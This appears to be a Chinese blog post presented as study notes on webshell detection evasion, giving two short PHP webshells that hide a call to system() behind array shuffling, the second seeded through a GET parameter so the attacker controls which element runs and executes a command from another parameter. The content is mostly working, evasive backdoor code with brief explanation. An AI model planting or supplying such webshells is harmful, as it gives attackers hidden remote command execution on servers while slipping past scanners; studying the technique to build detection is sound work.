记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
FPGAI18 小时前
C++学习之函数
c++·学习
浪子不回头41518 小时前
推理建模学习笔记
笔记·学习
小张是铁粉18 小时前
oracle 数据库学习之体系结构(1-4章)
数据库·学习
会编程的吕洞宾18 小时前
智能体学习记录二之发展史
学习
代码游侠18 小时前
应用——基于Linux的音乐播放器项目
linux·运维·笔记·学习·算法
wadesir18 小时前
Debian SSH密钥生成(详细教程:使用ssh-keygen命令配置安全远程登录)
安全·debian·ssh
myzzb18 小时前
python调用ffmpeg.exe封装装饰类调用
python·学习·ffmpeg·开发
hssfscv19 小时前
Javeweb学习笔记——Vue+Ajax
vue.js·笔记·学习·ajax
专注于大数据技术栈19 小时前
java学习--Math 类常用方法
java·学习
emma羊羊19 小时前
Imagetragick 命令注入漏洞扫描
安全·web安全·imagetragick